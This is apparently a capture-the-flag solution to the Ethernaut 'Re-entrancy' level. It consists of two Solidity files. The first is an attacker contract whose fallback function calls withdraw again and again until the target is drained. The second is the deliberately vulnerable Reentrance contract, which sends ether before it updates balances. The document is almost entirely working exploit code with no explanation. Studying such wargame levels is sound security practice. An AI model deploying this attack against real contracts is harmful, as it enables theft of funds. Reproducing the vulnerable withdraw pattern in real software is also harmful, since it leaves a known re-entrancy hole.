Ethernaut - Level 10 - Re-entrancy https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

contracts...Controller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Reentrance.sol";

contract Controller {
    Reentrance public target;

    constructor(address payable targetAddress) public payable {
        // 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF
        target = Reentrance(targetAddress);
    }

    function getTargetBalance() public view returns (uint256) {
        return address(target).balance;
    }

    function getBalance() public view returns (uint256) {
        return target.balanceOf(address(this));
    }

    function fundAccount() public payable {
        target.donate{value: msg.value}(address(this));
        
        reentryAttack();
    }

    function reentryAttack() public {
        uint256 remindingBalance = getTargetBalance();
        uint256 fundedAmount = getBalance();

        if (remindingBalance > 0) {
            uint256 withdrawAmount = fundedAmount < remindingBalance ? fundedAmount : remindingBalance;
            target.withdraw(withdrawAmount);
        }
    }

    // receive() external payable {
    //     reentryAttack();
    // }

    fallback() external payable {
        reentryAttack();
    }
}
  

contracts...Reentrance.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts@3.4.0/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}